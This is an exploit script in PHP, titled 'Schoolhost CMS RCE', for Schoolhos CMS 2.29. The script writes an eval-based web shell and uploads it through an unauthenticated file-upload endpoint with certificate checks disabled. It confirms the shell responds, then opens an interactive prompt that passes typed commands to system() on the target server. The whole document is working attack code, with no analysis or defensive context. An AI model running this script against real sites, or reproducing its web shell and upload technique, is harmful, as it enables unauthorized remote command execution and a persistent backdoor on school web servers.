Schoolhost CMS RCE

<?php
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution [*]\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("azzatssins.php","w+"),'<?php eval(base64_decode($_POST["azzatssins"])); ?>');
$azzatssins = curl_init();
curl_setopt($azzatssins, CURLOPT_URL, $target);
curl_setopt($azzatssins, CURLOPT_USERAGENT, "mozilla");
curl_setopt($azzatssins, CURLOPT_POST, 1);
curl_setopt($azzatssins, CURLOPT_RETURNTRANSFER, true);
curl_setopt($azzatssins, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath
("azzatssins.php")));
curl_setopt($azzatssins, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($azzatssins, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($azzatssins);
curl_close($azzatssins);
$cyberserkers=curl_init();
curl_setopt($cyberserkers,CURLOPT_RETURNTRANSFER,1);
curl_setopt($cyberserkers,CURLOPT_URL,$host."/file/materi/azzatssins.php");
curl_setopt($cyberserkers, CURLOPT_POSTFIELDS,"azzatssins=".base64_encode("echo
'azzatssinsfo';"));
curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($cyberserkers,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($cyberserkers,CURLOPT_TIMEOUT,20);
curl_setopt($cyberserkers, CURLOPT_HEADER, true);
$outp=curl_exec($cyberserkers);
curl_close($cyberserkers);
if(!preg_match("#azzatssinsfo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "azzatssins@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$cyberserkers=curl_init();
curl_setopt($cyberserkers,CURLOPT_RETURNTRANSFER,1);
curl_setopt($cyberserkers,CURLOPT_URL,$host."/file/materi/azzatssins.php");
curl_setopt($cyberserkers, CURLOPT_POSTFIELDS,"azzatssins=".urlencode(base64_encode
("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($cyberserkers, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($cyberserkers,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($cyberserkers,CURLOPT_TIMEOUT,20);
curl_setopt($cyberserkers, CURLOPT_HEADER, true);
$outp=curl_exec($cyberserkers);
curl_close($cyberserkers);
echo explode(">>>>>",$outp)[1]."\n";
}
?>